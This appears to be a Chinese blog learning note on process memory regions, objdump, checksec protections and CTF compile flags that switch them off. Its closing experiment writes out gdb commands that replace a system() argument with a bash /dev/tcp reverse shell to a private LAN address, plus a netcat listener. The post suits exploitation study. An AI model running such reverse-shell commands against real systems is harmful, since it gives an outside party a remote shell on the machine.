虚拟地址和内存区域说明

N0va7
2025-09-05 / 0 评论 / 1 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2025年09月05日,已超过271天没有更新,若内容或图片失效,请留言反馈。

虚拟地址空间基础

简要说明

当一个程序运行时,操作系统会为它分配一个虚拟地址空间,划分多个区域。

像是我们常规使用objdump查看反汇编的部分就是代码段->.text

objdump -d test

或者使用另一种查看方式

objdump -D test -j .text

不加-j的话就是所有段都查看

objdump -D test

内存区域详细说明

栈-Stack

由系统自动管理分配还是释放,Stack存放局部变量、返回地址、函数调用记录。其结构属于后进先出(LIFO)结构

特点:空间小、效率高

示例代码:

void foo() {
    int x = 10;
}

int main() {
    foo();
    return 0;
}

此时栈的状态如下图所示

栈溢出:调用太多函数或者申请超大局部变量,造成的栈溢出

堆-Heap

通过malloc、new等API函数手动分配/释放,用于存储跨函数、跨生命周期的数据

特点:容量大,但管理开销也比较大

示例代码:

int *p = malloc(100);

内存泄露:若未释放(free)申请的内存,则会造成内存泄露

数据段-.data

存储已初始化的全局变量、静态变量

示例代码:

#include <stdio.h>

int x=10;

int main(){
int a=10;
int b=20;
int c=a+b;
printf("%d+%d=%d\n", a, b, c);
return 0;
}

可以看到变量x确实被赋值为10,且存储于.data

BSS段

存储未初始化的全局变量、静态变量,程序启动时会自动清零

示例代码:

#include <stdio.h>

int x;
static int y;

int main(){
int a=10;
int b=20;
int c=a+b;
printf("%d+%d=%d\n", a, b, c);
return 0;
}

代码段-.text

存储程序指令,通常是只读的,防止被篡改(但是其实我们多少都能改点)

代码演示

#include <stdio.h>
#include <stdlib.h>
int g = 10; // .data
int x; // .bss

int main(){
    int a = 10; // stack-栈
    int *p = malloc(4); // 变量 p 在栈上,malloc返回的堆指针指向堆内存
    printf("g:%d\r\na:%d\r\n", g, a);
    x = 90;
    return 0;
}

数据段和bss段

代码段

真实情况下:

分配地址是这个

注意:运行中的内存地址并非固定的,如果是固定的会有相应的标识符显示

checksec安全机制解析

checksec 命令用于检查二进制程序的安全保护机制

# 安装pwntools,他包含了checksec
pip install pwntools

检查是否为动态内存地址

checksec --file test

当PIE为enabled的时候就是动态加载的,当他为No PIE的时候就是固定内存地址,这点我们通过反汇编也能看出来

1. Arch: i386-32-little

  • 含义:程序的架构信息。

    • i386-32:32 位 x86 架构(32 位程序,寄存器为 eaxebx 等,指针长度 4 字节)。
    • little:小端字节序(数据的低字节存储在低地址,x86 架构默认)。
  • 影响:漏洞利用时需使用对应架构的指令和地址长度(如 32 位地址为 4 字节)。

2. RELRO: Partial RELRO

  • 含义RELRO(Relocation Read-Only,重定位只读)是一种保护机制,控制程序的 GOT(全局偏移表) 是否可写。

    • Partial RELRO:部分重定位只读。GOT 表的前半部分(早期绑定的符号)只读,但后半部分(延迟绑定的符号,如 printf@pltsystem@plt)仍可写。
    • Full RELRO:完全重定位只读。整个 GOT 表在程序启动时被标记为只读,无法修改。
  • 影响
    Partial RELRO 下,攻击者可能通过修改 GOT 表(如 system@plt 的入口)实现漏洞利用(如 GOT 劫持);而 Full RELRO 可完全阻止这种攻击。

3. Stack: No canary found

  • 含义:栈保护机制(Stack Canary)的状态。

    • No canary found:未启用栈保护。程序在函数调用时,不会在栈上插入 “金丝雀”(随机值)来检测栈溢出。
    • Canary found:启用栈保护。函数栈帧中会插入一个随机值(金丝雀),函数返回前会检查该值是否被修改,若被修改则触发程序崩溃,阻止栈溢出攻击。
  • 影响
    未启用栈保护时,缓冲区溢出漏洞可能直接覆盖返回地址,实现代码执行;启用后则难以直接溢出修改返回地址。

4. NX: NX enabled

  • 含义NX(No-eXecute,不可执行)是栈 / 堆执行权限的保护机制。

    • NX enabled:启用 NX 保护。栈和堆内存被标记为 “不可执行”(仅允许读 / 写,不允许执行指令)。
    • NX disabled:禁用 NX 保护。栈和堆内存可执行,攻击者注入的 shellcode 可直接执行。
  • 影响
    NX 启用时,传统的 “栈上注入 shellcode 并执行” 的方法失效,需改用 ret2libc(调用系统库函数)等技术;禁用时可直接执行注入的代码。

5. PIE: No PIE (0x8048000)

  • 含义PIE(Position-Independent Executable,位置无关可执行文件)是地址随机化机制。

    • No PIE:未启用 PIE。程序加载到内存时,代码段、数据段的地址是固定的(如输出中的 0x8048000 是代码段起始地址)。
    • PIE enabled:启用 PIE。程序每次启动时,代码段、数据段的地址会被随机化(受 ASLR 保护),无法提前预知。
  • 影响
    未启用 PIE 时,函数(如 system)和全局变量的地址是固定的,漏洞利用时可直接硬编码这些地址;启用后地址随机,需通过信息泄露获取地址。

6. Stripped: No

  • 含义:程序是否去除了符号表(调试信息)。

    • No:未去除符号表。程序中保留了函数名、变量名等调试信息(如 mainprintf 等函数名可见)。
    • Yes:已去除符号表。调试信息被删除,gdb 中无法直接通过函数名查看地址,需通过反汇编分析。
  • 影响
    未去除符号表时,调试和漏洞分析更方便(可直接用函数名设置断点);去除后分析难度增加。

    补充

  • RWX Segment:如果程序存在可读可写可执行(RWX)的内存段,就可能存在攻击者注入代码并执行的空间。
  • SHSTK/IBT:是现代 CPU 的硬件保护机制,用于防止 ROP(返回导向编程)、JOP(跳转导向编程)这类攻击。

CTF的一些可执行程序编译:

gcc -m32 -fno-stack-protector -no-pie -z execstack test.c -o test_v2

反弹shell实验

尝试对示例1和示例2代码进行反弹shell的尝试,观察代码位置改变是否会影响指令地址、行为分析

示例代码1:

#include <stdio.h>
#include <stdlib.h>
int main(){
        int a=10;
        int b=20;
        int c=a+b;
        printf("%d+%d=%d\n", a, b, c);
        system("whoami");
        return 0;
}

b *main+87
run
n
set {char[53]}($ebx-0x198a)="bash -c 'sh -i >& /dev/tcp/192.168.48.139/6666 0>&1'"
x/s $eax
n

nc -lvvp 6666

示例代码2:

#include <stdio.h>
#include <stdlib.h>
int main(){
        int a=10;
        int b=20;
        int c=a+b;
        system("whoami");
        printf("%d+%d=%d\n", a, b, c);
        return 0;
}

发现system函数的调用地址并没有因为代码位置的变化而变化

b *main+63
run
n
x/s $ebx-0x1994
set {char[53]}($ebx-0x1994)="bash -c 'sh -i >& /dev/tcp/192.168.48.139/6666 0>&1'"
x/s $ebx-0x1994
n

nc -lvvp 6666

0

评论 (0)

取消